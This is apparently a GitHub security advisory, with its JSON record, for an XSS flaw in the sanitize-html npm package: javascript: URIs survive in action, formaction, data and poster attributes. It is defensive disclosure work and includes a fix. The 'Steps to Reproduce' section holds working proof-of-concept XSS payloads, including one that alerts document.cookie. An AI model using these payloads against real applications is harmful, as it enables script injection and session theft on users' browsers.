GHSA-VCCV-CMXP-4J9H
Vulnerability from github – Published: 2026-07-31 21:43 – Updated: 2026-07-31 21:43Summary
sanitize-html uses allowedSchemesAppliedToAttributes (default: ['href', 'src', 'cite']) to gate the naughtyHref() function that blocks dangerous URI schemes like javascript: and vbscript:. The HTML specification defines 10+ attributes that accept URIs (action, formaction, data, poster, background, ping, xlink:href, dynsrc, lowsrc), but none of these are included in the default gate list. When a developer allows any of these attributes in their configuration, javascript: URIs pass through completely unmodified, enabling XSS.
The library has zero awareness of these URI-bearing attributes — none appear anywhere in the 854-line source file (verified by grep). No warning mechanism exists, and the README provides no security guidance about expanding allowedSchemesAppliedToAttributes when allowing form or media attributes.
Severity
Exploitation requires non-default configuration: the developer must explicitly allow a non-default tag (e.g., form) AND a non-default attribute (e.g., action). Default configuration is NOT vulnerable. However, this is a common configuration pattern for CMS platforms, form builders, and rich content editors.
Affected Versions
All versions of sanitize-html from v1.18.0 (which introduced allowedSchemesAppliedToAttributes) through at least v2.17.2. The default list has been ['href', 'src', 'cite'] since introduction and has never been expanded.
Root Cause
File: index.js:329 (sanitize-html 2.10.0, confirmed same in 2.17.x)
// Line 329 — The gate that controls scheme validation
if (options.allowedSchemesAppliedToAttributes.indexOf(a) >= 0) {
if (naughtyHref(name, value)) {
delete frame.attribs[a];
return;
}
}
Default list at line 829:
allowedSchemesAppliedToAttributes: ['href', 'src', 'cite'],
The naughtyHref() function (lines 627-667) correctly blocks javascript:, vbscript:, and other dangerous schemes. However, it has exactly 2 call sites in the entire codebase (lines 330 and 395), both inside the indexOf gate. There is no ungated path.
When attribute name is action, formaction, data, poster, background, etc.:
- indexOf('action') returns -1
- The if block is skipped entirely
- naughtyHref() is never called
- javascript:alert(1) passes through unmodified
The escapeHtml() function at line 464 provides no defense — it only encodes & < > " characters, which are not present in javascript:alert(1).
Data Flow:
Attacker input: <form action="javascript:alert(document.cookie)">
1. htmlparser2 parses → tag='form', attribs={action:'javascript:alert(document.cookie)'}
2. index.js:298 → allowedAttributes check: 'action' in developer config → PASS
3. index.js:329 → ['href','src','cite'].indexOf('action') → -1 → SKIP naughtyHref()
4. index.js:464 → escapeHtml('javascript:alert(document.cookie)') → unchanged
5. OUTPUT: <form action="javascript:alert(document.cookie)">
Steps to Reproduce
const sanitize = require('sanitize-html');
// ===== VECTOR 1: form action (100% reliable, all modern browsers) =====
const v1 = sanitize(
'<form action="javascript:alert(document.cookie)"><button>Submit</button></form>',
{
allowedTags: ['form', 'button'],
allowedAttributes: { form: ['action'] }
}
);
console.log('V1 (action):', v1);
// OUTPUT: <form action="javascript:alert(document.cookie)"><button>Submit</button></form>
// XSS triggers when user submits the form
// ===== VECTOR 2: button formaction (100% reliable) =====
const v2 = sanitize(
'<button formaction="javascript:alert(1)">Click</button>',
{
allowedTags: ['button'],
allowedAttributes: { button: ['formaction'] }
}
);
console.log('V2 (formaction):', v2);
// OUTPUT: <button formaction="javascript:alert(1)">Click</button>
// ===== VECTOR 3: object data =====
const v3 = sanitize(
'<object data="javascript:alert(1)"></object>',
{
allowedTags: ['object'],
allowedAttributes: { object: ['data'] }
}
);
console.log('V3 (data):', v3);
// OUTPUT: <object data="javascript:alert(1)"></object>
// ===== CONTROL: href IS scheme-checked (expected behavior) =====
const ctrl = sanitize(
'<a href="javascript:alert(1)">click</a>',
{
allowedTags: ['a'],
allowedAttributes: { a: ['href'] }
}
);
console.log('Control (href):', ctrl);
// OUTPUT: <a>click</a> ← href correctly stripped by naughtyHref()
Observed behavior: javascript: preserved on action/formaction/data but correctly stripped on href.
Expected behavior: javascript: should be stripped on ALL URI-bearing attributes, or at minimum, the library should warn developers when they allow URI-bearing attributes not covered by scheme validation.
Impact
An attacker can achieve XSS in applications that use sanitize-html with non-default configurations allowing URI-bearing attributes:
<form action="javascript:...">— XSS on form submission (all modern browsers)<button formaction="javascript:...">— per-button XSS override (all modern browsers)<object data="javascript:...">— object load XSS (Chrome, Firefox)<video poster="javascript:...">— limited browser support but spec-valid
Common vulnerable configurations: - CMS platforms allowing form elements for user-generated content - Form builder applications - Rich text editors with extended tag allowlists - Email template editors allowing media/embed tags
Mitigating factors:
- Default configuration is NOT vulnerable
- Requires double opt-in: non-default tag + non-default attribute
- CSP form-action directive mitigates form-based vectors
- Developers CAN manually add attributes to allowedSchemesAppliedToAttributes
Remediation
Option 1 (Recommended): Expand the default allowedSchemesAppliedToAttributes list:
// index.js line 829, change from:
allowedSchemesAppliedToAttributes: ['href', 'src', 'cite'],
// to:
allowedSchemesAppliedToAttributes: [
'href', 'src', 'cite', 'action', 'formaction',
'data', 'poster', 'background', 'ping',
'xlink:href', 'dynsrc', 'lowsrc'
],
Option 2: Apply naughtyHref() to ALL attributes by default (invert the gate logic).
Option 3: Add a runtime warning when developers allow URI-bearing attributes not in allowedSchemesAppliedToAttributes (analogous to vulnerableTags warning for script/style at lines 124-129).
Reporter
Kevin Lee (Changseon Lee) OPCIA Corp. / PeanutAI Inc. Seoul, South Korea GitHub: crattack
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.17.4"
},
"package": {
"ecosystem": "npm",
"name": "sanitize-html"
},
"ranges": [
{
"events": [
{
"introduced": "1.18.0"
},
{
"fixed": "2.17.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53606"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-31T21:43:51Z",
"nvd_published_at": "2026-06-12T21:16:24Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nsanitize-html uses `allowedSchemesAppliedToAttributes` (default: `[\u0027href\u0027, \u0027src\u0027, \u0027cite\u0027]`) to gate the `naughtyHref()` function that blocks dangerous URI schemes like `javascript:` and `vbscript:`. The HTML specification defines 10+ attributes that accept URIs (`action`, `formaction`, `data`, `poster`, `background`, `ping`, `xlink:href`, `dynsrc`, `lowsrc`), but none of these are included in the default gate list. When a developer allows any of these attributes in their configuration, `javascript:` URIs pass through completely unmodified, enabling XSS.\n\nThe library has zero awareness of these URI-bearing attributes \u2014 none appear anywhere in the 854-line source file (verified by grep). No warning mechanism exists, and the README provides no security guidance about expanding `allowedSchemesAppliedToAttributes` when allowing form or media attributes.\n\n## Severity\n\nExploitation requires non-default configuration: the developer must explicitly allow a non-default tag (e.g., `form`) AND a non-default attribute (e.g., `action`). Default configuration is NOT vulnerable. However, this is a common configuration pattern for CMS platforms, form builders, and rich content editors.\n\n## Affected Versions\n\nAll versions of sanitize-html from v1.18.0 (which introduced `allowedSchemesAppliedToAttributes`) through at least v2.17.2. The default list has been `[\u0027href\u0027, \u0027src\u0027, \u0027cite\u0027]` since introduction and has never been expanded.\n\n## Root Cause\n\n**File**: `index.js:329` (sanitize-html 2.10.0, confirmed same in 2.17.x)\n\n```javascript\n// Line 329 \u2014 The gate that controls scheme validation\nif (options.allowedSchemesAppliedToAttributes.indexOf(a) \u003e= 0) {\n if (naughtyHref(name, value)) {\n delete frame.attribs[a];\n return;\n }\n}\n```\n\n**Default list at line 829**:\n```javascript\nallowedSchemesAppliedToAttributes: [\u0027href\u0027, \u0027src\u0027, \u0027cite\u0027],\n```\n\nThe `naughtyHref()` function (lines 627-667) correctly blocks `javascript:`, `vbscript:`, and other dangerous schemes. However, it has exactly 2 call sites in the entire codebase (lines 330 and 395), both inside the `indexOf` gate. There is no ungated path.\n\nWhen attribute name is `action`, `formaction`, `data`, `poster`, `background`, etc.:\n- `indexOf(\u0027action\u0027)` returns `-1`\n- The `if` block is skipped entirely\n- `naughtyHref()` is never called\n- `javascript:alert(1)` passes through unmodified\n\nThe `escapeHtml()` function at line 464 provides no defense \u2014 it only encodes `\u0026 \u003c \u003e \"` characters, which are not present in `javascript:alert(1)`.\n\n**Data Flow**:\n```\nAttacker input: \u003cform action=\"javascript:alert(document.cookie)\"\u003e\n1. htmlparser2 parses \u2192 tag=\u0027form\u0027, attribs={action:\u0027javascript:alert(document.cookie)\u0027}\n2. index.js:298 \u2192 allowedAttributes check: \u0027action\u0027 in developer config \u2192 PASS\n3. index.js:329 \u2192 [\u0027href\u0027,\u0027src\u0027,\u0027cite\u0027].indexOf(\u0027action\u0027) \u2192 -1 \u2192 SKIP naughtyHref()\n4. index.js:464 \u2192 escapeHtml(\u0027javascript:alert(document.cookie)\u0027) \u2192 unchanged\n5. OUTPUT: \u003cform action=\"javascript:alert(document.cookie)\"\u003e\n```\n\n## Steps to Reproduce\n\n```javascript\nconst sanitize = require(\u0027sanitize-html\u0027);\n\n// ===== VECTOR 1: form action (100% reliable, all modern browsers) =====\nconst v1 = sanitize(\n \u0027\u003cform action=\"javascript:alert(document.cookie)\"\u003e\u003cbutton\u003eSubmit\u003c/button\u003e\u003c/form\u003e\u0027,\n {\n allowedTags: [\u0027form\u0027, \u0027button\u0027],\n allowedAttributes: { form: [\u0027action\u0027] }\n }\n);\nconsole.log(\u0027V1 (action):\u0027, v1);\n// OUTPUT: \u003cform action=\"javascript:alert(document.cookie)\"\u003e\u003cbutton\u003eSubmit\u003c/button\u003e\u003c/form\u003e\n// XSS triggers when user submits the form\n\n// ===== VECTOR 2: button formaction (100% reliable) =====\nconst v2 = sanitize(\n \u0027\u003cbutton formaction=\"javascript:alert(1)\"\u003eClick\u003c/button\u003e\u0027,\n {\n allowedTags: [\u0027button\u0027],\n allowedAttributes: { button: [\u0027formaction\u0027] }\n }\n);\nconsole.log(\u0027V2 (formaction):\u0027, v2);\n// OUTPUT: \u003cbutton formaction=\"javascript:alert(1)\"\u003eClick\u003c/button\u003e\n\n// ===== VECTOR 3: object data =====\nconst v3 = sanitize(\n \u0027\u003cobject data=\"javascript:alert(1)\"\u003e\u003c/object\u003e\u0027,\n {\n allowedTags: [\u0027object\u0027],\n allowedAttributes: { object: [\u0027data\u0027] }\n }\n);\nconsole.log(\u0027V3 (data):\u0027, v3);\n// OUTPUT: \u003cobject data=\"javascript:alert(1)\"\u003e\u003c/object\u003e\n\n// ===== CONTROL: href IS scheme-checked (expected behavior) =====\nconst ctrl = sanitize(\n \u0027\u003ca href=\"javascript:alert(1)\"\u003eclick\u003c/a\u003e\u0027,\n {\n allowedTags: [\u0027a\u0027],\n allowedAttributes: { a: [\u0027href\u0027] }\n }\n);\nconsole.log(\u0027Control (href):\u0027, ctrl);\n// OUTPUT: \u003ca\u003eclick\u003c/a\u003e \u2190 href correctly stripped by naughtyHref()\n```\n\n**Observed behavior**: `javascript:` preserved on `action`/`formaction`/`data` but correctly stripped on `href`.\n\n**Expected behavior**: `javascript:` should be stripped on ALL URI-bearing attributes, or at minimum, the library should warn developers when they allow URI-bearing attributes not covered by scheme validation.\n\n## Impact\n\nAn attacker can achieve XSS in applications that use sanitize-html with non-default configurations allowing URI-bearing attributes:\n\n- `\u003cform action=\"javascript:...\"\u003e` \u2014 XSS on form submission (all modern browsers)\n- `\u003cbutton formaction=\"javascript:...\"\u003e` \u2014 per-button XSS override (all modern browsers)\n- `\u003cobject data=\"javascript:...\"\u003e` \u2014 object load XSS (Chrome, Firefox)\n- `\u003cvideo poster=\"javascript:...\"\u003e` \u2014 limited browser support but spec-valid\n\n**Common vulnerable configurations**:\n- CMS platforms allowing form elements for user-generated content\n- Form builder applications\n- Rich text editors with extended tag allowlists\n- Email template editors allowing media/embed tags\n\n**Mitigating factors**:\n- Default configuration is NOT vulnerable\n- Requires double opt-in: non-default tag + non-default attribute\n- CSP `form-action` directive mitigates form-based vectors\n- Developers CAN manually add attributes to `allowedSchemesAppliedToAttributes`\n\n## Remediation\n\n**Option 1 (Recommended)**: Expand the default `allowedSchemesAppliedToAttributes` list:\n\n```javascript\n// index.js line 829, change from:\nallowedSchemesAppliedToAttributes: [\u0027href\u0027, \u0027src\u0027, \u0027cite\u0027],\n\n// to:\nallowedSchemesAppliedToAttributes: [\n \u0027href\u0027, \u0027src\u0027, \u0027cite\u0027, \u0027action\u0027, \u0027formaction\u0027,\n \u0027data\u0027, \u0027poster\u0027, \u0027background\u0027, \u0027ping\u0027,\n \u0027xlink:href\u0027, \u0027dynsrc\u0027, \u0027lowsrc\u0027\n],\n```\n\n**Option 2**: Apply `naughtyHref()` to ALL attributes by default (invert the gate logic).\n\n**Option 3**: Add a runtime warning when developers allow URI-bearing attributes not in `allowedSchemesAppliedToAttributes` (analogous to `vulnerableTags` warning for `script`/`style` at lines 124-129).\n\n## Reporter\n\nKevin Lee (Changseon Lee)\nOPCIA Corp. / PeanutAI Inc.\nSeoul, South Korea\nGitHub: crattack",
"id": "GHSA-vccv-cmxp-4j9h",
"modified": "2026-07-31T21:43:52Z",
"published": "2026-07-31T21:43:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vccv-cmxp-4j9h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53606"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/pull/5464"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/commit/5a88e9630cbbdde33154ef8abe7557ddf7be418b"
},
{
"type": "PACKAGE",
"url": "https://github.com/apostrophecms/apostrophe"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/releases/tag/sanitize-html@2.17.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "sanitize-html has incomplete URI scheme validation in that allows javascript: URIs through action, formaction, data, poster, and background attributes"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.